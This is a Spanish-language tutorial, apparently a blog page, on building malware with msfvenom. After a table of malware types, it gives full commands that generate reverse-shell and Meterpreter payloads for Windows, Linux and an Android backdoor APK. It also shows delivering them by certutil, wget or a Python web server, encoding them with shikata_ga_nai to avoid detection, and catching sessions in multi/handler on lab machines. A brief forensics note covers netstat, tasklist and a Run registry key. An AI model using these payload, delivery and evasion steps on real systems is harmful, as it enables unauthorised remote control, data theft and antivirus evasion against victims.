Creación de malware

por medio de msfvenom

Featured image

Tipos de malware

Tipo Descripción
Virus Es un pequeño fragmento de código que se propaga de un ordenador a otro, sin ninguna acción directa ni autorización por parte de los propietarios de las máquinas infectadas. Suelen copiarse en secciones especiales del disco duro, dentro de programas o documentos legítimos. A continuación, se ejecutan cada vez que se abre un programa o archivo infectado.
Troyano Como su nombre indica, es un malware que viene incrustado en un archivo aparentemente inofensivo, como un ejecutable, un documento de Microsoft Office, un protector de pantalla o un archivo PDF. Cuando un usuario abre el archivo malicioso, cae víctima del malware (el más conocido es la puerta trasera o backdoor).
Backdoor Software formado por dos componentes: un servidor y un cliente de puerta trasera. El servidor se ejecuta en la máquina víctima escuchando en la red y aceptando conexiones. El cliente suele ejecutarse en la máquina del atacante, y se utiliza para conectarse al backdoor y controlarlo (el tipo connect-back backdoor o reverse backdoor, es el mecanismo común para realizar un byPass al firewall).
Rootkit Es un malware diseñado para ocultarse de los usuarios y del programa antivirus con el fin de alterar completamente el funcionamiento del sistema operativo. Permite a un atacante mantener acceso privilegiado a la máquina víctima sin ser notado.
Bootkit Son rootkits que eluden los mecanismos de protección del sistema operativo ejecutándose durante la fase de arranque. Se inician antes que el sistema operativo, por lo que consiguen un control total sobre la máquina y el sistema operativo.
Adware Es un software molesto que muestra anuncios a los usuarios de ordenadores.
Spyware Es un software utilizado para recopilar información sobre la actividad de los usuarios, como el sistema operativo instalado en una máquina, los sitios web visitados, las contraseñas, entre otras cosas. La información se envía a un servidor de recopilación de registros controlado por el atacante.
Dialer Es un software que intenta marcar números en conexiones de acceso telefónico para cobrar dinero de la factura telefónica de la víctima. Hoy en día, los dialers se dirigen a los smartphones.
Keylogger Es un software especial que registra cada pulsación de tecla en la máquina de la víctima remota. Las operaciones realizadas por los keloggers son: registrar las pulsaciones de teclas, registrar el nombre de la ventana en la que el usuario víctima estaba escribiendo, guardar las pulsaciones de teclas en un archivo de registro en la máquina víctima, enviar los registros a un servidor controlado por el atacante. Acaba de ver cómo funcionan los keyloggers por software. También existen keyloggers por hardware y rootkits, que son más sigilosos e invisibles para el usuario víctima que los keyloggers por software.
Bots Son pequeñas piezas de software que se instalan en millones de máquinas conectadas a Internet para realizar ataques DDoS como fuentes de spam. Estos bots son dirigidos remotamente por un servidor de comando y control. Este servidor puede ordenar a miles o incluso millones de bots que realicen una operación determinada simultáneamente.
Ransomware Es un software que cifra el contenido de un ordenador o smartphone con una clave secreta. A continuación, pide a sus víctimas un rescate para devolverles el contenido.
Data Stealing Tiene un objetivo preciso, el cual es robar los datos más importantes del disco duro de la víctima y enviárselos al atacante. La mayoría de las veces, esta encarnación específica de malware está dirigida a una empresa concreta y adaptada para funcionar en el entorno objetivo. Como alternativa, un atacante podría utilizar una puerta trasera para realizar el robo de datos.
Worms Los gusanos se propagan por la red aprovechando las vulnerabilidades de los sistemas operativos y del software. También pueden aprovechar credenciales predeterminadas o configuraciones erróneas para atacar un servicio o una máquina. Suelen formar parte de otro malware y ofrecen un punto de entrada en el sistema objetivo.
Greyware Es un término general utilizado para indicar malware que no entra en una categoría específica.

Msfvenom (Netcat)

Es un generador de carga útil independiente. Es una combinación de Msfpayload y Msfencode. Es rápido y utiliza una sola instancia. También tiene opciones de línea de comando estandarizadas. Puede generar cargas útiles para tantas plataformas como Cisco, Android, OSX, BSD, Solaris, Firefox, Windows, Unix, Nodejs y mucho más.

Windows

A continuación creamos el payload, el cual por defecto será para arquitecturas x32. Para asignar x64 se debe asignar windows/x64/meterpreter/reverse_tcp.

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.1.1.19 -f exe -o test.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: test.exe

Nos decargamos el payload en la máquina víctima de la siguiente forma:

C:\Users\Demo\Desktop>certutil.exe -f -urlcache -split http://10.1.1.19/test.exe test.exe
**** En línea ****
  000000 ...
  01204a
CertUtil: -URLCache comando completado correctamente.

malwaretestexenetcat

Y nos ponemos a la escucha por netcat:

┌─[root@kali]─[/home/user/malware]
└──╼ rlwrap nc -nlvp 443 
listening on [any] 443 ...

Para finalmente ejecutar el payload y recibir la conexión remota:

dobleclicktestexe

┌─[root@kali]─[/home/user/malware]
└──╼ rlwrap nc -nlvp 443 
listening on [any] 443 ...
connect to [10.1.1.19] from (UNKNOWN) [10.1.1.5] 1322
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\Demo\Desktop>whoami
whoami
demo-pc\demo

C:\Users\Demo\Desktop>dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 4479-B434

 Directorio de C:\Users\Demo\Desktop

22-01-2023  16:34    <DIR>          .
22-01-2023  16:34    <DIR>          ..
20-09-2022  19:03               194 a.txt
17-03-2021  04:06               925 Nmap - Zenmap GUI.lnk
27-04-2022  20:38            73.802 poc.exe
22-01-2023  16:34            73.802 test.exe
20-09-2022  18:41               849 �Torrent.lnk
               5 archivos        149.572 bytes
               2 dirs  21.169.504.256 bytes libres

C:\Users\Demo\Desktop>

Msfvenom (meterpreter)

Para el caso de meterpreter creamos un ejecutable malicioso, el cual por defecto será para arquitecturas x32. Para asignar x64 se debe asignar windows/x64/meterpreter/reverse_tcp.

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.1.1.19 lport=9999 -f exe -o poc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: poc.exe

Parámetros usados:

Parámetro Utilidad
-p Se carga el payload.
lhost La dirección IP de la máquina atacante.
lport El puerto que se usará para ejecutar el malware.
-f Se selecciona el tipo de archivo que queremos.
-o Se le asigna un nombre.

El ejecutable lo trasladamos a la máquina victima:

1

Ahora procedemos a ponernos a la escucha:

msf6 > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > set LHOST 10.1.1.19
LHOST => 10.1.1.19
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.1.1.19:9999 

Ahora ejecutamos el troyano en la máquina víctima:

2

Se recibe y crea la sesión en nuestra máquina:

[*] Sending stage (175174 bytes) to 10.1.1.5
[*] Meterpreter session 1 opened (10.1.1.19:9999 -> 10.1.1.5:1204 ) at 2022-04-27 19:46:16 -0400

meterpreter > shell
Process 356 created.
Channel 1 created.
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\Demo\Desktop>whoami
whoami
demo-pc\demo

C:\Users\Demo\Desktop>ipconfig
ipconfig

Configuraci�n IP de Windows


Adaptador de Ethernet Conexi�n de �rea local:

   Sufijo DNS espec�fico para la conexi�n. . : 
   Direcci�n IPv6 . . . . . . . . . . : fd17:625c:f037:101:38fa:7c31:76d4:8fb7
   Direcci�n IPv6 temporal. . . . . . : fd17:625c:f037:101:d4c7:ff3e:dc1b:b81b
   V�nculo: direcci�n IPv6 local. . . : fe80::38fa:7c31:76d4:8fb7%11
   Direcci�n IPv4. . . . . . . . . . . . . . : 10.1.1.5
   M�scara de subred . . . . . . . . . . . . : 255.255.255.0
   Puerta de enlace predeterminada . . . . . : fe80::5054:ff:fe12:3500%11
                                       10.1.1.1

Adaptador de t�nel isatap.{013659A2-A2D8-4DE0-AF04-BB55011CFF79}:

   Estado de los medios. . . . . . . . . . . : medios desconectados
   Sufijo DNS espec�fico para la conexi�n. . : 

C:\Users\Demo\Desktop>dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: 4479-B434

 Directorio de C:\Users\Demo\Desktop

27-04-2022  20:44    <DIR>          .
27-04-2022  20:44    <DIR>          ..
17-03-2021  04:06               925 Nmap - Zenmap GUI.lnk
27-04-2022  20:38            73.802 poc.exe
               2 archivos         74.727 bytes
               2 dirs  20.974.960.640 bytes libres

Codificar malware

Esto sirve para intentar ocultar el malware y que este no sea detectado dentro del sistema:

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -p windows/meterpreter/reverse_tcp -i 10 -e x86/shikata_ga_nai lhost=10.1.1.19 lport=9999 -f exe -o poc2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai succeeded with size 516 (iteration=5)
x86/shikata_ga_nai succeeded with size 543 (iteration=6)
x86/shikata_ga_nai succeeded with size 570 (iteration=7)
x86/shikata_ga_nai succeeded with size 597 (iteration=8)
x86/shikata_ga_nai succeeded with size 624 (iteration=9)
x86/shikata_ga_nai chosen with final size 624
Payload size: 624 bytes
Final size of exe file: 73802 bytes
Saved as: poc2.exe

Parámetros usados:

Parámetro Utilidad
-i Cantidad de veces que se va a codificar.
-e Se selecciona el tipo de codificador.

Para ver la lista de codificadores que contiene msfvenom de deber realizar lo siguiente:

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -l encoders

Para evasión de antivirus se recomienda ver los apuntes relacionados en esta página.

Forense

Ahora desde el lado de la víctima ¿cómo se descubre que se está ejecutando un proceso como este?. La respuesta es a través de dos comandos, iniciando por netstat:

3

Se identifica un puerto extraño. Ahora a través de tasklist y con el PID que en este caso es 1004, podremos descubrir cual es el troyano en ejecución:

4

Si seguimos bajando lo podremos detectar:

5

Ejemplo de registro (persistencia)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Linux

Para linux el caso es muy similar, por ejemplo ocupando meterpreter, se realiza de la siguiente forma:

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.1.1.19 LPORT=4646 -f elf -o pocx64.elf 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068640 bytes
Final size of elf file: 1068640 bytes
Saved as: pocx64.elf

Para verificar la arquitectura en el sistema linux se debe ocupar el comando uname -m. Si la salida es “x86_64”, significa que estás utilizando una arquitectura de 64 bits. Si la salida es “i386” o “i686”, significa que estás utilizando una arquitectura de 32 bits.

Una vez creado el archivo pocx64.elf nos iniciamos un servidor web con python en el puerto 80 y lo descargamos desde la máquina víctima:

┌─[root@kali]─[/home/user/malware]
└──╼ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
root@user:/home/user/Desktop# wget http://10.1.1.19/pocx64.elf
--2023-03-10 21:50:10--  http://10.1.1.19/pocx64.elf
Connecting to 10.1.1.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1068640 (1.0M) [application/octet-stream]
Saving to: ‘pocx64.elf’

pocx64.elf                    100%[==============================================>]   1.02M  --.-KB/s    in 0.006s  

2023-03-10 21:50:11 (177 MB/s) - ‘pocx64.elf’ saved [1068640/1068640]

root@user:/home/user/Desktop# ls
pocx64.elf

Una vez nos descargamos el ejecutable, procedemos a ponernos a la escucha por medio de meterpreter:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 10.1.1.19
LHOST => 10.1.1.19
msf6 exploit(multi/handler) > set LPORT 4646
LPORT => 4646
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.1.1.19:4646 

Una vez completamos el proceso, se debe asignar permisos de ejecución al archivo correspondiente. Posteriormente, se procede a ejecutar:

root@user:/home/user/Desktop# chmod +x pocx64.elf 
root@user:/home/user/Desktop# ./pocx64.elf

Finalmente recibimos nuestra sesión meterpreter:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.1.1.19:4646 
[*] Meterpreter session 13 opened (10.1.1.19:4646 -> 10.1.1.40:33644) at 2023-03-11 02:30:07 -0500

meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : enp0s8
Hardware MAC : 08:00:27:bf:db:0d
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 10.1.2.11
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd17:625c:f037:2:88c5:fc45:6c92:8fcc
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::9fbf:b0a0:b8de:8388
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fd17:625c:f037:2:d61a:94af:c3ed:df6b
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  3
============
Name         : enp0s17
Hardware MAC : 08:00:27:bb:ab:38
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 10.1.1.40
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::e5df:32a2:43e5:9c3f
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fd17:625c:f037:2:1402:ed6f:b02c:1d7a
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fd17:625c:f037:2:e57f:6313:9d59:5f34
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > shell
Process 5602 created.
Channel 28 created.
whoami
root
ls
pocx64.elf

Android

Para el caso de android se debe ejecutar lo siguiente con msfvenom:

┌─[root@kali]─[/home/user/malware]
└──╼ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.94.102 LPORT=4444 -f raw -o backdoor.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10238 bytes
Saved as: backdoor.apk

A continuación nos montamos un servidor web con python:

┌─[root@kali]─[/home/user/malware]
└──╼ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con metasploit nos pondremos a la escucha ocupando el siguiente payload en donde dejaremos el puerto 4444 que ya viene por defecto:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.94.102
LHOST => 192.168.94.102
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.94.102:4444 

Una vez realizado esto nos descargamos el APK desde nuestro android por medio del navegador y la IP de la máquina atacante:

androidinstallapk3

Ahora procedemos a instalar y ejecutar el APK malicioso:

androidinstallapk4 androidinstallapk2

Finalmente recibiremos una sesión en meterpreter:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.94.102:4444 
[*] Sending stage (78189 bytes) to 192.168.94.2
[*] Meterpreter session 1 opened (192.168.94.102:4444 -> 192.168.94.2:53941) at 2023-09-02 00:53:05 -0400

meterpreter > sysinfo
Computer        : localhost
OS              : Android 9 - Linux 4.4.157-genymotion-ga887da7 (i686)
Architecture    : x86
System Language : en_US
Meterpreter     : dalvik/android
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
oat
cd ..
cd ..
cd ..
cd ..
cd ..
ls
acct
bin
bugreports
cache
charger
config
d
data
default.prop
dev
etc
fstab.vbox86
init
init.environ.rc
init.rc
init.usb.configfs.rc
init.usb.rc
init.vbox86.rc
init.zygote32.rc
mnt
odm
oem
plat_file_contexts
plat_hwservice_contexts
plat_property_contexts
plat_seapp_contexts
plat_service_contexts
proc
product
rom.trace
root
sbin
sdcard
sepolicy
storage
sys
system
tmp
ueventd.rc
ueventd.vbox86.rc
var
vendor
vendor_file_contexts
vendor_hwservice_contexts
vendor_property_contexts
vendor_seapp_contexts
vendor_service_contexts
vndservice_contexts
cd sdcard
ls
Alarms
Android
DCIM
Download
Movies
Music
Notifications
Pictures
Podcasts
Ringtones
Scan
screen.png
cd Download
ls
backdoor.apk
flag.txt
open_gapps-x86-9.0-pico-20220503.zip
open_gapps_debug_logs.tar.gz
open_gapps_log.txt
cat flag.txt
Pwned!!!